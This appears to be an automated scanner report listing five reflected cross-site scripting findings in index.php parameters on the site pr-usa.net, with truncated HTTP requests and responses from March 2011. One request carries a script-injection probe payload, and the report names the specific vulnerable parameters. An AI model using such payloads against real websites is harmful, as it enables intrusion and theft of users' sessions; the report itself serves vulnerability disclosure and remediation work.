1. Cross-site scripting (reflected)
1.1. http://pr-usa.net/index.php [Itemid parameter]
1.2. http://pr-usa.net/index.php [id parameter]
1.3. http://pr-usa.net/index.php [name of an arbitrarily supplied request parameter]
1.4. http://pr-usa.net/index.php [sectionid parameter]
1.5. http://pr-usa.net/index.php [task parameter]
Severity: | High |
Confidence: | Certain |
Host: | http://pr-usa.net |
Path: | /index.php |
GET /index.php?option=com Host: pr-usa.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close |
HTTP/1.1 200 OK Date: Sun, 06 Mar 2011 14:46:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: faa0732f26dd91d69321 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sun, 06 Mar 2011 14:46:30 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28088 <ie7 quirks mode> <?xml version="1.0" encoding="iso-8859-1"?>< <html xmlns="ht ...[SNIP]... <area shape="rect" coords="2,26,30,54" href="http://pr-usa.net ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://pr-usa.net |
Path: | /index.php |
GET /index.php?option=com Host: pr-usa.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close |
HTTP/1.1 200 OK Date: Sun, 06 Mar 2011 14:46:09 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: faa0732f26dd91d69321 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sun, 06 Mar 2011 14:46:09 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 27755 <ie7 quirks mode> <?xml version="1.0" encoding="iso-8859-1"?>< <html xmlns="ht ...[SNIP]... <area shape="rect" coords="2,26,30,54" href="http://pr-usa.net ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://pr-usa.net |
Path: | /index.php |
GET /index.php?888d6"><script>alert(1)< Host: pr-usa.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close |
HTTP/1.1 200 OK Date: Sun, 06 Mar 2011 14:45:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: faa0732f26dd91d69321 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sun, 06 Mar 2011 14:45:57 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44229 <ie7 quirks mode> <?xml version="1.0" encoding="iso-8859-1"?>< <html xmlns="ht ...[SNIP]... <area shape="rect" coords="2,26,30,54" href="http://pr-usa.net ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://pr-usa.net |
Path: | /index.php |
GET /index.php?option=com Host: pr-usa.net Proxy-Connection: keep-alive Referer: http://pr-usa.net/index Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: faa0732f26dd91d69321 |
HTTP/1.1 200 OK Date: Sun, 06 Mar 2011 14:51:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: faa0732f26dd91d69321 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sun, 06 Mar 2011 14:51:01 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44827 <ie7 quirks mode> <?xml version="1.0" encoding="iso-8859-1"?>< <html xmlns="ht ...[SNIP]... <area shape="rect" coords="2,26,30,54" href="http://pr-usa.net ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://pr-usa.net |
Path: | /index.php |
GET /index.php?option=com Host: pr-usa.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close |
HTTP/1.1 404 Not Found Date: Sun, 06 Mar 2011 14:46:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: faa0732f26dd91d69321 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sun, 06 Mar 2011 14:46:05 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 20016 <ie7 quirks mode> <?xml version="1.0" encoding="iso-8859-1"?>< <html xmlns="ht ...[SNIP]... <area shape="rect" coords="2,26,30,54" href="http://pr-usa.net ...[SNIP]... |